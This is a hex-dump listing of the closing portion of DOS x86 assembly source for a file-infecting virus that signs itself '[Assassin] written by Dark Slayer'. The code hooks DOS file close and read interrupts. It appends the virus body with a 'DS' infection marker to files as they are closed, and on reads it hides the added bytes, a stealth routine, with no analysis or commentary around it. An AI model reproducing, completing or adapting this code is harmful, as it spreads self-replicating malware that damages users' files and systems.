|00002190| 20 20 20 6d 6f 76 20 20 | 20 20 20 63 78 2c 65 73 | mov | cx,es|
|000021a0| 0d 0a 20 20 20 20 20 20 | 20 20 69 6e 63 20 20 20 |.. | inc |
|000021b0| 20 20 63 78 0d 0a 20 20 | 20 20 20 20 20 20 64 69 | cx.. | di|
|000021c0| 76 20 20 20 20 20 63 6c | 0d 0a 20 20 20 20 20 20 |v cl|.. |
|000021d0| 20 20 6f 72 20 20 20 20 | 20 20 61 68 2c 61 68 0d | or | ah,ah.|
|000021e0| 0a 20 20 20 20 20 20 20 | 20 6a 7a 20 20 20 20 20 |. | jz |
|000021f0| 20 69 32 31 5f 33 65 5f | 65 78 69 74 0d 0a 20 20 | i21_3e_|exit.. |
|00002200| 20 20 20 20 20 20 73 75 | 62 20 20 20 20 20 63 6c | su|b cl|
|00002210| 2c 61 68 0d 0a 20 20 20 | 20 20 20 20 20 63 6d 70 |,ah.. | cmp|
|00002220| 20 20 20 20 20 63 6c 2c | 76 69 72 5f 73 65 63 74 | cl,|vir_sect|
|00002230| 6f 72 0d 0a 6a 63 5f 65 | 78 69 74 5f 3a 0d 0a 20 |or..jc_e|xit_:.. |
|00002240| 20 20 20 20 20 20 20 6a | 62 20 20 20 20 20 20 69 | j|b i|
|00002250| 32 31 5f 33 65 5f 65 78 | 69 74 0d 0a 20 20 20 20 |21_3e_ex|it.. |
|00002260| 20 20 20 20 6c 65 73 20 | 20 20 20 20 61 78 2c 64 | les | ax,d|
|00002270| 73 3a 5b 64 69 2b 34 5d | 0d 0a 20 20 20 20 20 20 |s:[di+4]|.. |
|00002280| 20 20 70 75 73 68 20 20 | 20 20 61 78 0d 0a 20 20 | push | ax.. |
|00002290| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 65 73 | pu|sh es|
|000022a0| 0d 0a 20 20 20 20 20 20 | 20 20 61 6e 64 20 20 20 |.. | and |
|000022b0| 20 20 61 78 2c 31 30 30 | 30 30 30 30 30 30 30 30 | ax,100|00000000|
|000022c0| 31 31 31 30 30 62 0d 0a | 20 20 20 20 20 20 20 20 |11100b..| |
|000022d0| 6a 6e 7a 20 20 20 20 20 | 63 6c 6f 73 65 5f 0d 0a |jnz |close_..|
|000022e0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|000022f0| 62 79 74 65 20 70 74 72 | 20 64 73 3a 5b 64 69 2b |byte ptr| ds:[di+|
|00002300| 32 5d 2c 32 0d 0a 20 20 | 20 20 20 20 20 20 6d 6f |2],2.. | mo|
|00002310| 76 20 20 20 20 20 64 73 | 3a 5b 64 69 2b 34 5d 2c |v ds|:[di+4],|
|00002320| 61 6c 0d 0a 0d 0a 20 20 | 20 20 20 20 20 20 63 61 |al.... | ca|
|00002330| 6c 6c 20 20 20 20 72 65 | 61 64 5f 63 6d 70 0d 0a |ll re|ad_cmp..|
|00002340| 20 20 20 20 20 20 20 20 | 6a 62 65 20 20 20 20 20 | |jbe |
|00002350| 63 6c 6f 73 65 0d 0a 0d | 0a 20 20 20 20 20 20 20 |close...|. |
|00002360| 20 6d 6f 76 20 20 20 20 | 20 73 69 2c 63 78 0d 0a | mov | si,cx..|
|00002370| 63 6d 70 5f 64 65 76 69 | 63 65 3a 0d 0a 20 20 20 |cmp_devi|ce:.. |
|00002380| 20 20 20 20 20 64 65 63 | 20 20 20 20 20 73 69 0d | dec| si.|
|00002390| 0a 20 20 20 20 20 20 20 | 20 6c 6f 64 73 77 0d 0a |. | lodsw..|
|000023a0| 20 20 20 20 20 20 20 20 | 69 6e 63 20 20 20 20 20 | |inc |
|000023b0| 61 78 0d 0a 20 20 20 20 | 20 20 20 20 6c 6f 6f 70 |ax.. | loop|
|000023c0| 6e 7a 20 20 63 6d 70 5f | 64 65 76 69 63 65 0d 0a |nz cmp_|device..|
|000023d0| 20 20 20 20 20 20 20 20 | 6a 63 78 7a 20 20 20 20 | |jcxz |
|000023e0| 6e 6f 74 5f 64 65 76 69 | 63 65 0d 0a 20 20 20 20 |not_devi|ce.. |
|000023f0| 20 20 20 20 64 65 63 20 | 20 20 20 20 61 78 0d 0a | dec | ax..|
|00002400| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 20 20 | |cmp |
|00002410| 61 78 2c 64 73 3a 5b 73 | 69 5d 0d 0a 20 20 20 20 |ax,ds:[s|i].. |
|00002420| 20 20 20 20 6a 65 20 20 | 20 20 20 20 63 6c 6f 73 | je | clos|
|00002430| 65 0d 0a 20 20 20 20 20 | 20 20 20 6a 6d 70 20 20 |e.. | jmp |
|00002440| 20 20 20 73 68 6f 72 74 | 20 63 6d 70 5f 64 65 76 | short| cmp_dev|
|00002450| 69 63 65 0d 0a 6e 6f 74 | 5f 64 65 76 69 63 65 3a |ice..not|_device:|
|00002460| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |.. | mov |
|00002470| 20 20 61 78 2c 65 73 3a | 5b 64 69 2b 31 31 68 5d | ax,es:|[di+11h]|
|00002480| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |.. | mov |
|00002490| 20 20 65 73 3a 5b 64 69 | 2b 31 35 68 5d 2c 61 78 | es:[di|+15h],ax|
|000024a0| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |.... | mov |
|000024b0| 20 20 20 20 63 78 2c 76 | 69 72 5f 73 69 7a 65 2b | cx,v|ir_size+|
|000024c0| 32 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |2.. | mov |
|000024d0| 20 20 20 64 78 2c 6f 66 | 66 73 65 74 20 69 64 0d | dx,of|fset id.|
|000024e0| 0a 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |. | call |
|000024f0| 20 77 72 69 74 65 0d 0a | 20 20 20 20 20 20 20 20 | write..| |
|00002500| 70 6f 70 20 20 20 20 20 | 62 78 0d 0a 20 20 20 20 |pop |bx.. |
|00002510| 20 20 20 20 6a 63 20 20 | 20 20 20 20 63 6c 6f 73 | jc | clos|
|00002520| 65 0d 0a 20 20 20 20 20 | 20 20 20 73 75 62 20 20 |e.. | sub |
|00002530| 20 20 20 65 73 3a 5b 64 | 69 2b 31 31 68 5d 2c 61 | es:[d|i+11h],a|
|00002540| 78 0d 0a 20 20 20 20 20 | 20 20 20 64 65 63 20 20 |x.. | dec |
|00002550| 20 20 20 63 78 0d 0a 20 | 20 20 20 20 20 20 20 64 | cx.. | d|
|00002560| 65 63 20 20 20 20 20 63 | 78 0d 0a 20 20 20 20 20 |ec c|x.. |
|00002570| 20 20 20 63 77 64 0d 0a | 20 20 20 20 20 20 20 20 | cwd..| |
|00002580| 6d 6f 76 20 20 20 20 20 | 65 73 3a 5b 64 69 2b 31 |mov |es:[di+1|
|00002590| 35 68 5d 2c 64 78 0d 0a | 20 20 20 20 20 20 20 20 |5h],dx..| |
|000025a0| 63 61 6c 6c 20 20 20 20 | 77 72 69 74 65 0d 0a 20 |call |write.. |
|000025b0| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 62 | p|op b|
|000025c0| 78 0d 0a 63 6c 6f 73 65 | 3a 0d 0a 20 20 20 20 20 |x..close|:.. |
|000025d0| 20 20 20 70 75 73 68 20 | 20 20 20 65 73 0d 0a 20 | push | es.. |
|000025e0| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 64 | p|op d|
|000025f0| 73 0d 0a 63 6c 6f 73 65 | 5f 3a 0d 0a 20 20 20 20 |s..close|_:.. |
|00002600| 20 20 20 20 70 6f 70 20 | 20 20 20 20 64 73 3a 5b | pop | ds:[|
|00002610| 64 69 2b 36 5d 0d 0a 20 | 20 20 20 20 20 20 20 70 |di+6].. | p|
|00002620| 6f 70 20 20 20 20 20 64 | 73 3a 5b 64 69 2b 34 5d |op d|s:[di+4]|
|00002630| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |.. | mov |
|00002640| 20 20 62 70 2c 30 64 68 | 2a 32 0d 0a 20 20 20 20 | bp,0dh|*2.. |
|00002650| 20 20 20 20 63 61 6c 6c | 20 20 20 20 69 32 31 5f | call| i21_|
|00002660| 66 75 6e 63 0d 0a 20 20 | 20 20 20 20 20 20 70 6f |func.. | po|
|00002670| 70 20 20 20 20 20 62 78 | 0d 0a 69 32 31 5f 33 65 |p bx|..i21_3e|
|00002680| 5f 65 78 69 74 3a 0d 0a | 20 20 20 20 20 20 20 20 |_exit:..| |
|00002690| 6d 6f 76 20 20 20 20 20 | 61 78 2c 31 32 32 37 68 |mov |ax,1227h|
|000026a0| 0d 0a 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 |.. | int |
|000026b0| 20 20 32 66 68 0d 0a 20 | 20 20 20 20 20 20 20 6a | 2fh.. | j|
|000026c0| 6d 70 20 20 20 20 20 69 | 32 31 5f 33 66 5f 65 78 |mp i|21_3f_ex|
|000026d0| 69 74 0d 0a 0d 0a 69 32 | 31 5f 33 66 3a 0d 0a 20 |it....i2|1_3f:.. |
|000026e0| 20 20 20 20 20 20 20 63 | 61 6c 6c 20 20 20 20 73 | c|all s|
|000026f0| 65 74 32 33 32 34 5f 72 | 65 73 74 6f 72 65 32 31 |et2324_r|estore21|
|00002700| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 6c 65 73 20 |.... | les |
|00002710| 20 20 20 20 61 78 2c 64 | 77 6f 72 64 20 70 74 72 | ax,d|word ptr|
|00002720| 20 65 73 3a 5b 64 69 2b | 31 35 68 5d 0d 0a 20 20 | es:[di+|15h].. |
|00002730| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 61 78 | pu|sh ax|
|00002740| 0d 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |.. | push |
|00002750| 20 20 65 73 0d 0a 20 20 | 20 20 20 20 20 20 63 61 | es.. | ca|
|00002760| 6c 6c 20 20 20 20 72 65 | 61 64 0d 0a 20 20 20 20 |ll re|ad.. |
|00002770| 20 20 20 20 70 6f 70 20 | 20 20 20 20 62 70 0d 0a | pop | bp..|
|00002780| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00002790| 73 69 0d 0a 20 20 20 20 | 20 20 20 20 63 6d 63 0d |si.. | cmc.|
|000027a0| 0a 20 20 20 20 20 20 20 | 20 6a 6e 63 20 20 20 20 |. | jnc |
|000027b0| 20 6a 6e 63 5f 65 78 69 | 74 0d 0a 20 20 20 20 20 | jnc_exi|t.. |
|000027c0| 20 20 20 74 65 73 74 20 | 20 20 20 77 6f 72 64 20 | test | word |
|000027d0| 70 74 72 20 65 73 3a 5b | 64 69 2b 34 5d 2c 31 30 |ptr es:[|di+4],10|
|000027e0| 30 30 30 30 30 30 30 30 | 30 31 31 30 30 30 62 0d |00000000|011000b.|
|000027f0| 0a 20 20 20 20 20 20 20 | 20 6a 6e 7a 20 20 20 20 |. | jnz |
|00002800| 20 6a 6e 7a 5f 33 66 5f | 65 78 69 74 0d 0a 20 20 | jnz_3f_|exit.. |
|00002810| 20 20 20 20 20 20 6f 72 | 20 20 20 20 20 20 62 70 | or| bp|
|00002820| 2c 62 70 0d 0a 6a 6e 7a | 5f 33 66 5f 65 78 69 74 |,bp..jnz|_3f_exit|
|00002830| 3a 0d 0a 20 20 20 20 20 | 20 20 20 6a 6e 7a 20 20 |:.. | jnz |
|00002840| 20 20 20 69 32 31 5f 33 | 66 5f 65 78 69 74 0d 0a | i21_3|f_exit..|
|00002850| 20 20 20 20 20 20 20 20 | 73 75 62 20 20 20 20 20 | |sub |
|00002860| 73 69 2c 76 69 72 5f 73 | 69 7a 65 0d 0a 6a 6e 63 |si,vir_s|ize..jnc|
|00002870| 5f 65 78 69 74 3a 0d 0a | 20 20 20 20 20 20 20 20 |_exit:..| |
|00002880| 6a 61 65 20 20 20 20 20 | 69 32 31 5f 33 66 5f 65 |jae |i21_3f_e|
|00002890| 78 69 74 0d 0a 20 20 20 | 20 20 20 20 20 78 6f 72 |xit.. | xor|
|000028a0| 20 20 20 20 20 63 78 2c | 63 78 0d 0a 20 20 20 20 | cx,|cx.. |
|000028b0| 20 20 20 20 78 63 68 67 | 20 20 20 20 63 78 2c 65 | xchg| cx,e|
|000028c0| 73 3a 5b 64 69 2b 31 35 | 68 5d 0d 0a 20 20 20 20 |s:[di+15|h].. |
|000028d0| 20 20 20 20 70 75 73 68 | 20 20 20 20 63 78 0d 0a | push| cx..|
|000028e0| 20 20 20 20 20 20 20 20 | 78 6f 72 20 20 20 20 20 | |xor |
|000028f0| 63 78 2c 63 78 0d 0a 20 | 20 20 20 20 20 20 20 78 |cx,cx.. | x|
|00002900| 63 68 67 20 20 20 20 63 | 78 2c 65 73 3a 5b 64 69 |chg c|x,es:[di|
|00002910| 2b 31 37 68 5d 0d 0a 20 | 20 20 20 20 20 20 20 70 |+17h].. | p|
|00002920| 75 73 68 20 20 20 20 63 | 78 0d 0a 20 20 20 20 20 |ush c|x.. |
|00002930| 20 20 20 70 75 73 68 20 | 20 20 20 61 78 0d 0a 20 | push | ax.. |
|00002940| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 73 | p|ush s|
|00002950| 69 0d 0a 0d 0a 20 20 20 | 20 20 20 20 20 70 75 73 |i.... | pus|
|00002960| 68 20 20 20 20 64 78 0d | 0a 20 20 20 20 20 20 20 |h dx.|. |
|00002970| 20 70 75 73 68 20 20 20 | 20 64 73 0d 0a 20 20 20 | push | ds.. |
|00002980| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 72 65 61 | cal|l rea|
|00002990| 64 5f 63 6d 70 0d 0a 20 | 20 20 20 20 20 20 20 70 |d_cmp.. | p|
|000029a0| 6f 70 20 20 20 20 20 64 | 73 0d 0a 20 20 20 20 20 |op d|s.. |
|000029b0| 20 20 20 70 6f 70 20 20 | 20 20 20 64 78 0d 0a 20 | pop | dx.. |
|000029c0| 20 20 20 20 20 20 20 6a | 63 20 20 20 20 20 20 69 | j|c i|
|000029d0| 32 31 5f 33 66 5f 65 78 | 69 74 5f 31 0d 0a 20 20 |21_3f_ex|it_1.. |
|000029e0| 20 20 20 20 20 20 6a 6e | 65 20 20 20 20 20 69 32 | jn|e i2|
|000029f0| 31 5f 33 66 5f 65 78 69 | 74 5f 31 0d 0a 0d 0a 20 |1_3f_exi|t_1.... |
|00002a00| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 64 | p|ush d|
|00002a10| 78 0d 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |x.. | push |
|00002a20| 20 20 20 64 73 0d 0a 0d | 0a 20 20 20 20 20 20 20 | ds...|. |
|00002a30| 20 70 75 73 68 20 20 20 | 20 65 73 0d 0a 20 20 20 | push | es.. |
|00002a40| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 64 73 0d | pop| ds.|
|00002a50| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00002a60| 20 61 78 2c 64 73 3a 5b | 64 69 2b 31 31 68 5d 0d | ax,ds:[|di+11h].|
|00002a70| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00002a80| 20 64 73 3a 5b 64 69 2b | 31 35 68 5d 2c 61 78 0d | ds:[di+|15h],ax.|
|00002a90| 0a 20 20 20 20 20 20 20 | 20 61 64 64 20 20 20 20 |. | add |
|00002aa0| 20 77 6f 72 64 20 70 74 | 72 20 64 73 3a 5b 64 69 | word pt|r ds:[di|
|00002ab0| 2b 31 31 68 5d 2c 76 69 | 72 5f 73 69 7a 65 2b 32 |+11h],vi|r_size+2|
|00002ac0| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |.... | mov |
|00002ad0| 20 20 20 20 63 6c 2c 32 | 0d 0a 20 20 20 20 20 20 | cl,2|.. |
|00002ae0| 20 20 6d 6f 76 20 20 20 | 20 20 64 78 2c 6f 66 66 | mov | dx,off|
|00002af0| 73 65 74 20 72 65 61 64 | 5f 62 75 66 66 65 72 0d |set read|_buffer.|
|00002b00| 0a 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |. | push |
|00002b10| 20 63 73 0d 0a 20 20 20 | 20 20 20 20 20 70 6f 70 | cs.. | pop|
|00002b20| 20 20 20 20 20 64 73 0d | 0a 20 20 20 20 20 20 20 | ds.|. |
|00002b30| 20 63 61 6c 6c 20 20 20 | 20 72 65 61 64 0d 0a 20 | call | read.. |
|00002b40| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 64 | p|op d|
|00002b50| 73 0d 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |s.. | pop |
|00002b60| 20 20 20 64 78 0d 0a 20 | 20 20 20 20 20 20 20 6a | dx.. | j|
|00002b70| 63 20 20 20 20 20 20 69 | 32 31 5f 33 66 5f 65 78 |c i|21_3f_ex|
|00002b80| 69 74 5f 32 0d 0a 20 20 | 20 20 20 20 20 20 63 6d |it_2.. | cm|
|00002b90| 70 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 63 |p wo|rd ptr c|
|00002ba0| 73 3a 72 65 61 64 5f 62 | 75 66 66 65 72 2c 27 53 |s:read_b|uffer,'S|
|00002bb0| 44 27 0d 0a 20 20 20 20 | 20 20 20 20 6a 65 20 20 |D'.. | je |
|00002bc0| 20 20 20 20 69 32 31 5f | 33 66 5f 6c 30 0d 0a 20 | i21_|3f_l0.. |
|00002bd0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|00002be0| 78 2c 31 32 31 38 68 0d | 0a 20 20 20 20 20 20 20 |x,1218h.|. |
|00002bf0| 20 69 6e 74 20 20 20 20 | 20 32 66 68 0d 0a 20 20 | int | 2fh.. |
|00002c00| 20 20 20 20 20 20 6f 72 | 20 20 20 20 20 20 62 79 | or| by|
|00002c10| 74 65 20 70 74 72 20 64 | 73 3a 5b 73 69 2b 31 36 |te ptr d|s:[si+16|
|00002c20| 68 5d 2c 31 0d 0a 20 20 | 20 20 20 20 20 20 6a 6d |h],1.. | jm|
|00002c30| 70 20 20 20 20 20 73 68 | 6f 72 74 20 69 32 31 5f |p sh|ort i21_|
|00002c40| 33 66 5f 65 78 69 74 5f | 32 0d 0a 69 32 31 5f 33 |3f_exit_|2..i21_3|
|00002c50| 66 5f 6c 30 3a 0d 0a 20 | 20 20 20 20 20 20 20 70 |f_l0:.. | p|
|00002c60| 6f 70 20 20 20 20 20 73 | 69 0d 0a 20 20 20 20 20 |op s|i.. |
|00002c70| 20 20 20 6e 65 67 20 20 | 20 20 20 73 69 0d 0a 20 | neg | si.. |
|00002c80| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|00002c90| 78 2c 65 73 3a 5b 64 69 | 2b 31 31 68 5d 0d 0a 20 |x,es:[di|+11h].. |
|00002ca0| 20 20 20 20 20 20 20 73 | 75 62 20 20 20 20 20 61 | s|ub a|
|00002cb0| 78 2c 73 69 0d 0a 20 20 | 20 20 20 20 20 20 6d 6f |x,si.. | mo|
|00002cc0| 76 20 20 20 20 20 65 73 | 3a 5b 64 69 2b 31 35 68 |v es|:[di+15h|
|00002cd0| 5d 2c 61 78 0d 0a 20 20 | 20 20 20 20 20 20 70 6f |],ax.. | po|
|00002ce0| 70 20 20 20 20 20 63 78 | 0d 0a 20 20 20 20 20 20 |p cx|.. |
|00002cf0| 20 20 70 75 73 68 20 20 | 20 20 63 78 0d 0a 20 20 | push | cx.. |
|00002d00| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 63 78 | pu|sh cx|
|00002d10| 0d 0a 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 |.. | cmp |
|00002d20| 20 20 63 78 2c 73 69 0d | 0a 20 20 20 20 20 20 20 | cx,si.|. |
|00002d30| 20 6a 62 20 20 20 20 20 | 20 69 32 31 5f 33 66 5f | jb | i21_3f_|
|00002d40| 6c 31 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |l1.. | mov |
|00002d50| 20 20 20 20 63 78 2c 73 | 69 0d 0a 69 32 31 5f 33 | cx,s|i..i21_3|
|00002d60| 66 5f 6c 31 3a 0d 0a 20 | 20 20 20 20 20 20 20 63 |f_l1:.. | c|
|00002d70| 61 6c 6c 20 20 20 20 72 | 65 61 64 0d 0a 69 32 31 |all r|ead..i21|
|00002d80| 5f 33 66 5f 65 78 69 74 | 5f 32 3a 0d 0a 20 20 20 |_3f_exit|_2:.. |
|00002d90| 20 20 20 20 20 73 75 62 | 20 20 20 20 20 77 6f 72 | sub| wor|
|00002da0| 64 20 70 74 72 20 65 73 | 3a 5b 64 69 2b 31 31 68 |d ptr es|:[di+11h|
|00002db0| 5d 2c 76 69 72 5f 73 69 | 7a 65 2b 32 0d 0a 69 32 |],vir_si|ze+2..i2|
|00002dc0| 31 5f 33 66 5f 65 78 69 | 74 5f 31 3a 0d 0a 20 20 |1_3f_exi|t_1:.. |
|00002dd0| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 61 78 | po|p ax|
|00002de0| 0d 0a 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |.. | pop |
|00002df0| 20 20 61 78 0d 0a 20 20 | 20 20 20 20 20 20 70 6f | ax.. | po|
|00002e00| 70 20 20 20 20 20 65 73 | 3a 5b 64 69 2b 31 37 68 |p es|:[di+17h|
|00002e10| 5d 0d 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |].. | pop |
|00002e20| 20 20 20 65 73 3a 5b 64 | 69 2b 31 35 68 5d 0d 0a | es:[d|i+15h]..|
|00002e30| 69 32 31 5f 33 66 5f 65 | 78 69 74 3a 0d 0a 20 20 |i21_3f_e|xit:.. |
|00002e40| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 20 20 73 65 | ca|ll se|
|00002e50| 74 32 31 5f 72 65 73 74 | 6f 72 65 32 33 0d 0a 20 |t21_rest|ore23.. |
|00002e60| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 61 | p|ush a|
|00002e70| 78 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |x.. | mov |
|00002e80| 20 20 20 61 78 2c 31 32 | 31 38 68 0d 0a 20 20 20 | ax,12|18h.. |
|00002e90| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 66 68 | int| 2fh|
|00002ea0| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |.. | mov |
|00002eb0| 20 20 61 78 2c 64 73 3a | 5b 73 69 2b 31 36 68 5d | ax,ds:|[si+16h]|
|00002ec0| 0d 0a 20 20 20 20 20 20 | 20 20 73 68 72 20 20 20 |.. | shr |
|00002ed0| 20 20 61 78 2c 31 0d 0a | 20 20 20 20 20 20 20 20 | ax,1..| |
|00002ee0| 70 6f 70 20 20 20 20 20 | 61 78 0d 0a 20 20 20 20 |pop |ax.. |
|00002ef0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 73 3a 5b | mov | ds:[|
|00002f00| 73 69 5d 2c 61 78 0d 0a | 20 20 20 20 20 20 20 20 |si],ax..| |
|00002f10| 72 65 74 66 0d 0a 0d 0a | 69 6e 74 32 33 3a 0d 0a |retf....|int23:..|
|00002f20| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 20 20 20 | |call |
|00002f30| 73 65 74 32 31 5f 72 65 | 73 74 6f 72 65 32 33 0d |set21_re|store23.|
|00002f40| 0a 20 20 20 20 20 20 20 | 20 6a 6d 70 20 20 20 20 |. | jmp |
|00002f50| 20 64 77 6f 72 64 20 70 | 74 72 20 63 73 3a 6f 6c | dword p|tr cs:ol|
|00002f60| 64 32 33 0d 0a 0d 0a 69 | 6e 74 32 34 3a 0d 0a 20 |d23....i|nt24:.. |
|00002f70| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 20 20 61 | x|or a|
|00002f80| 78 2c 61 78 0d 0a 20 20 | 20 20 20 20 20 20 69 72 |x,ax.. | ir|
|00002f90| 65 74 0d 0a 69 6e 74 32 | 61 3a 0d 0a 20 20 20 20 |et..int2|a:.. |
|00002fa0| 20 20 20 20 70 6f 70 20 | 20 20 20 20 63 73 3a 69 | pop | cs:i|
|00002fb0| 32 31 5f 74 61 62 6c 65 | 0d 0a 20 20 20 20 20 20 |21_table|.. |
|00002fc0| 20 20 70 6f 70 20 20 20 | 20 20 63 73 3a 69 32 31 | pop | cs:i21|
|00002fd0| 5f 74 61 62 6c 65 5b 32 | 5d 0d 0a 20 20 20 20 20 |_table[2|].. |
|00002fe0| 20 20 20 73 75 62 20 20 | 20 20 20 73 70 2c 34 0d | sub | sp,4.|
|00002ff0| 0a 20 20 20 20 20 20 20 | 20 6a 6d 70 20 20 20 20 |. | jmp |
|00003000| 20 64 77 6f 72 64 20 70 | 74 72 20 63 73 3a 6f 6c | dword p|tr cs:ol|
|00003010| 64 32 61 0d 0a 0d 0a 6d | 73 67 20 20 20 20 20 64 |d2a....m|sg d|
|00003020| 62 20 20 20 20 20 20 27 | 20 54 68 69 73 20 69 73 |b '| This is|
|00003030| 20 5b 41 73 73 61 73 73 | 69 6e 5d 20 77 72 69 74 | [Assass|in] writ|
|00003040| 74 65 6e 20 62 79 20 44 | 61 72 6b 20 53 6c 61 79 |ten by D|ark Slay|
|00003050| 65 72 20 27 0d 0a 20 20 | 20 20 20 20 20 20 64 62 |er '.. | db|
|00003060| 20 20 20 20 20 20 27 69 | 6e 20 4b 65 65 6c 75 6e | 'i|n Keelun|
|00003070| 67 2e 20 54 61 69 77 61 | 6e 20 3c 52 2e 4f 2e 43 |g. Taiwa|n <R.O.C|
|00003080| 3e 20 27 0d 0a 0d 0a 63 | 6f 6e 73 74 61 6e 74 3a |> '....c|onstant:|
|00003090| 0d 0a 0d 0a 70 63 62 20 | 20 20 20 20 64 77 20 20 |....pcb | dw |
|000030a0| 20 20 20 20 30 2c 38 30 | 68 2c 3f 2c 35 63 68 2c | 0,80|h,?,5ch,|
|000030b0| 3f 2c 36 63 68 2c 3f 0d | 0a 69 64 20 20 20 20 20 |?,6ch,?.|.id |
|000030c0| 20 64 62 20 20 20 20 20 | 20 27 44 53 27 0d 0a 76 | db | 'DS'..v|
|000030d0| 69 72 5f 65 6e 64 3a 0d | 0a 0d 0a 72 65 61 64 5f |ir_end:.|...read_|
|000030e0| 62 75 66 66 65 72 20 64 | 62 20 20 76 69 72 5f 73 |buffer d|b vir_s|
|000030f0| 69 7a 65 20 64 75 70 28 | 3f 29 0d 0a 0d 0a 6f 6c |ize dup(|?)....ol|
|00003100| 64 32 61 20 20 20 64 77 | 20 20 20 20 20 20 3f 2c |d2a dw| ?,|
|00003110| 3f 0d 0a 6f 6c 64 32 33 | 20 20 20 64 77 20 20 20 |?..old23| dw |
|00003120| 20 20 20 3f 2c 3f 0d 0a | 6f 6c 64 32 34 20 20 20 | ?,?..|old24 |
|00003130| 64 77 20 20 20 20 20 20 | 3f 2c 3f 0d 0a 69 32 31 |dw |?,?..i21|
|00003140| 5f 33 65 5f 64 61 74 61 | 20 64 62 20 20 33 20 64 |_3e_data| db 3 d|
|00003150| 75 70 28 3f 29 0d 0a 69 | 32 31 5f 33 66 5f 64 61 |up(?)..i|21_3f_da|
|00003160| 74 61 20 64 62 20 20 33 | 20 64 75 70 28 3f 29 0d |ta db 3| dup(?).|
|00003170| 0a 69 32 31 5f 74 61 62 | 6c 65 20 64 77 20 20 20 |.i21_tab|le dw |
|00003180| 20 3f 2c 3f 0d 0a 69 32 | 31 5f 66 61 72 5f 6a 6d | ?,?..i2|1_far_jm|
|00003190| 70 20 64 77 20 20 3f 0d | 0a 0d 0a 6d 65 6d 6f 72 |p dw ?.|...memor|
|000031a0| 79 5f 65 6e 64 3a 0d 0a | 20 20 20 20 20 20 20 20 |y_end:..| |
|000031b0| 65 6e 64 20 20 20 20 20 | 73 74 61 72 74 0d 0a 20 |end |start.. |
|000031c0| 0a 0a | |.. | |
+--------+-------------------------+-------------------------+--------+--------+